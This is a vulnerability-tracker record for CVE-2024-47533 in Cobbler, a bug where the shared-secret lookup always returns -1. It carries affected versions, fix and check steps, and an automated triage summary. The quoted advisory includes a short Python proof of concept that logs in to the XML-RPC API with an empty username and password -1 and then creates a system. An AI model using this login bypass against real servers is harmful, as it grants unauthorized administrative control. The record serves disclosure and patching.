{"id":"CVE-2024-47533","kind":"vulnerability","aliases":["CVE-2024-47533","GHSA-m26c-fcgh-cp6h"],"related":[],"title":"cobbler allows anyone to connect to cobbler XML-RPC server with known password and make changes","description":"### Summary\n\nutils.get_shared_secret() always returns -1 - allows anyone to connect to cobbler XML-RPC as user '' password -1 and make any changes.\n\n### Details\nutils.py get_shared_secret:\n```\ndef get_shared_secret() -> Union[str, int]:\n    \"\"\"\n    The 'web.ss' file is regenerated each time cobblerd restarts and is used to agree on shared secret interchange\n    between the web server and cobblerd, and also the CLI and cobblerd, when username/password access is not required.\n    For the CLI, this enables root users to avoid entering username/pass if on the Cobbler server.\n\n    :return: The Cobbler secret which enables full access to Cobbler.\n    \"\"\"\n\n    try:\n        with open(\"/var/lib/cobbler/web.ss\", 'rb', encoding='utf-8') as fd:\n            data = fd.read()\n    except:\n        return -1\n    return str(data).strip()\n```\nAlways returns `-1` because of the following exception:\n```\nbinary mode doesn't take an encoding argument\n```\n\nThis appears to have been introduced by commit 32c5cada013dc8daa7320a8eda9932c2814742b0 and so affects versions 3.0.0+.\n\n### PoC\n```\n#!/usr/bin/python3\n\nimport ssl\nimport xmlrpc.client\n\nparams = { 'proto': 'https', 'host': 'COBBLER_SERVER', 'port': '443', 'username': '', 'password': -1 }\nssl_context = ssl._create_unverified_context()\n\nurl = '{proto}://{host}:{port}/cobbler_api'.format(**params)\nif ssl_context:\n    conn = xmlrpc.client.ServerProxy(url, context=ssl_context)\nelse:\n    conn = xmlrpc.client.Server(url)\n\ntry:\n    token = conn.login(params['username'], params['password'])\nexcept xmlrpc.client.Fault as e:\n    print(\"Failed to log in to Cobbler '{url}' as '{username}'. {error}\".format(url=url, error=e, **params))\nexcept Exception as e:\n    print(\"Connection to '{url}' failed. {error}\".format(url=url, error=e, **params))\n\nprint(\"Login success!\")\n\nsystem_id = conn.new_system(token)\n```\n\n\n### Impact\nThis gives anyone with network access to a cobbler server full control of the server.","summary":"Cobbler's shared-secret lookup always fails because a binary-mode file open is passed an encoding argument, so it returns -1 as the secret. An attacker who can reach the Cobbler XML-RPC API logs in as an empty user with password -1 and can change anything on the server.","severity":"critical","cvss":9.8,"epss":0.04003,"exploited":false,"exploited_at":null,"products":[{"name":"cobbler","fixed":["3.3.7"],"affected":">= 3.3.0, < 3.3.7","ecosystem":"pypi"},{"name":"cobbler","fixed":["3.2.3"],"affected":">= 3.0.0, < 3.2.3","ecosystem":"pypi"}],"ecosystems":["pypi"],"tags":["cobbler","cwe-287","package","provisioning","python","self-hosted"],"not_affected_if":["api-not-network-reachable","version-outside-range"],"how_to_check":"- Run `cobbler version` or `pip show cobbler` and compare against the affected ranges 3.0.0 to below 3.2.3 and 3.3.0 to below 3.3.7.\n- Check whether the XML-RPC API is reachable from untrusted networks at `https://COBBLER_SERVER/cobbler_api`.","fix":"- Upgrade Cobbler to `3.3.7` on the 3.3 line, or to `3.2.3` on the 3.2 line.\n- Restrict network access to the Cobbler API to trusted management hosts until upgraded.","status":"open","published_at":"2024-11-18T17:15:11+00:00","first_seen_at":"2026-10-27T16:30:45+00:00","triaged_at":"2026-10-27T16:31:49+00:00","updated_at":"2026-10-27T16:33:07+00:00","category":"package","confidence":0.9,"triage":{"at":"2026-10-27T16:31:49Z","model":"claude-haiku-5-5","output":{"fix":"- Upgrade Cobbler to `3.3.7` on the 3.3 line, or to `3.2.3` on the 3.2 line.\n- Restrict network access to the Cobbler API to trusted management hosts until upgraded.","reach":"network","title":"Cobbler: XML-RPC login accepts a fake password, granting full server control","impact":"high","summary":"Cobbler's shared-secret lookup always fails because a binary-mode file open is passed an encoding argument, so it returns -1 as the secret. An attacker who can reach the Cobbler XML-RPC API logs in as an empty user with password -1 and can change anything on the server.","category":"package","nicknames":[],"who_cares":["cobbler","self-hosted","provisioning","python"],"confidence":0.9,"needs_auth":"no","worst_case":"Anyone on the network gains full administrative control of the Cobbler server","analyst_note":"","how_to_check":"- Run `cobbler version` or `pip show cobbler` and compare against the affected ranges 3.0.0 to below 3.2.3 and 3.3.0 to below 3.3.7.\n- Check whether the XML-RPC API is reachable from untrusted networks at `https://COBBLER_SERVER/cobbler_api`.","needs_analyst":false,"not_affected_if":["version-outside-range","api-not-network-reachable"],"who_is_affected":"Any Cobbler server in the affected version ranges whose XML-RPC endpoint (`/cobbler_api`) can be reached over the network is exposed, because the flaw lets any caller authenticate with an empty username and password -1. Servers reachable only from a locked-down management network are at lower risk but should still be patched. Installations on versions outside the listed ranges are not affected.","user_interaction":"no","needs_special_setup":"no","severity_if_unknown":"critical"},"cost_usd":0.000728,"input_tokens":4084,"output_tokens":639,"severity_before":"critical"},"analyst_status":null,"analyst_note":null,"search":"'-1':63B,86B,100C,113C,206C,213C,257C '-2024':19A,27A '-287':33B '-47533':20A,28A '-8':199C '/cobbler_api':265C '/usr/bin/python3':242C '/var/lib/cobbler/web.ss':195C '3.0.0':240C '32c5cada013dc8daa7320a8eda9932c2814742b0':235C '443':254C 'access':162C,189C,339C 'affect':238C 'agre':143C 'allow':2A,101C 'also':155C 'alway':46B,98C,211C 'anyon':3A,102C,336C 'anyth':90B 'api':77B 'appear':228C 'argument':59B,226C 'attack':68B 'avoid':174C 'binari':51B,219C 'binary-mod':50B 'chang':17A,89B,117C 'cli':157C,168C 'cobbler':1A,7A,29A,30A,31B,40B,73B,106C,180C,184C,191C,251C,298C,342C 'cobblerd':137C,153C,159C 'commit':234C 'conn':271C,278C 'conn.login':283C 'conn.new':330C 'connect':5A,104C,314C 'context':259C,270C,274C,276C 'control':345C 'cp6h':25A 'cve':18A,26A 'cwe':32B 'data':202C,209C 'def':123C 'detail':118C 'doesn':221C 'e':291C,307C,312C,323C 'els':277C 'empti':82B 'enabl':170C,187C 'encod':58B,197C,225C 'enter':175C 'error':302C,306C,318C,322C 'except':204C,218C,288C,309C,310C 'fail':47B,293C,317C 'fcgh':24A 'fd':201C 'fd.read':203C 'file':53B,132C 'follow':217C 'format':266C,303C,319C 'full':188C,344C 'get':120C,124C 'ghsa':22A 'ghsa-m26c-fcgh-cp6h':21A 'give':335C 'host':39B,250C,263C 'https':249C 'id':329C 'impact':333C 'import':243C,245C 'int':129C 'interchang':147C 'introduc':232C 'known':13A 'log':78B,295C 'login':326C 'lookup':45B 'm26c':23A 'make':16A,115C 'mode':52B,220C 'network':338C 'open':54B,194C 'packag':34B 'param':247C,267C,284C,286C,308C,324C 'pass':56B 'password':14A,85B,112C,256C,287C 'poc':241C 'port':253C,264C 'print':292C,313C,325C 'proto':248C,262C 'provis':35B 'python':36B 'rb':196C 'reach':71B 'regener':134C 'requir':165C 'restart':138C 'return':62B,99C,182C,205C,207C,212C 'root':171C 'rpc':10A,76B,109C 'secret':44B,66B,97C,122C,126C,146C,185C 'self':38B 'self-host':37B 'server':11A,93B,151C,181C,252C,343C,348C 'share':43B,96C,121C,125C,145C 'shared-secret':42B 'ssl':244C,258C,269C,275C 'ssl._create_unverified_context':260C 'str':128C,208C 'strip':210C 'success':327C 'summari':94C 'system':328C,331C 'take':223C 'time':136C 'token':282C,332C 'tri':192C,281C 'union':127C 'url':261C,273C,280C,299C,304C,305C,316C,320C,321C 'use':141C 'user':83B,111C,172C 'usernam':255C,285C,301C 'username/pass':176C 'username/password':161C 'utf':198C 'utils.get':95C 'utils.py':119C 'version':239C 'web':150C 'web.ss':131C 'xml':9A,75B,108C 'xml-rpc':8A,74B,107C 'xmlrpc.client':246C 'xmlrpc.client.fault':289C 'xmlrpc.client.server':279C 'xmlrpc.client.serverproxy':272C","nicknames":[],"mitigations":[],"who_affected":"Any Cobbler server in the affected version ranges whose XML-RPC endpoint (`/cobbler_api`) can be reached over the network is exposed, because the flaw lets any caller authenticate with an empty username and password -1. Servers reachable only from a locked-down management network are at lower risk but should still be patched. Installations on versions outside the listed ranges are not affected.","tier":"B","verified":{},"analyst_revisit_at":null,"first_public_at":"2024-11-18T17:15:11+00:00","kev":null,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cvss_by":"GitHub","poc_count":0,"sources":[{"source":"ghsa","external_id":"GHSA-m26c-fcgh-cp6h","url":"https://github.com/advisories/GHSA-m26c-fcgh-cp6h","severity":"critical","published_at":"2024-11-18T20:00:56+00:00","modified_at":"2026-10-27T16:26:42+00:00","first_seen_at":"2026-10-27T16:30:45+00:00","fetched_at":"2026-10-27T16:30:45+00:00","note":null},{"source":"nvd","external_id":"CVE-2024-47533","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-47533","severity":null,"published_at":"2024-11-18T17:15:11+00:00","modified_at":"2026-06-17T07:57:15+00:00","first_seen_at":"2026-10-27T16:33:07+00:00","fetched_at":"2026-10-27T16:33:07+00:00","note":null}],"documents":[],"notice":"Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai"}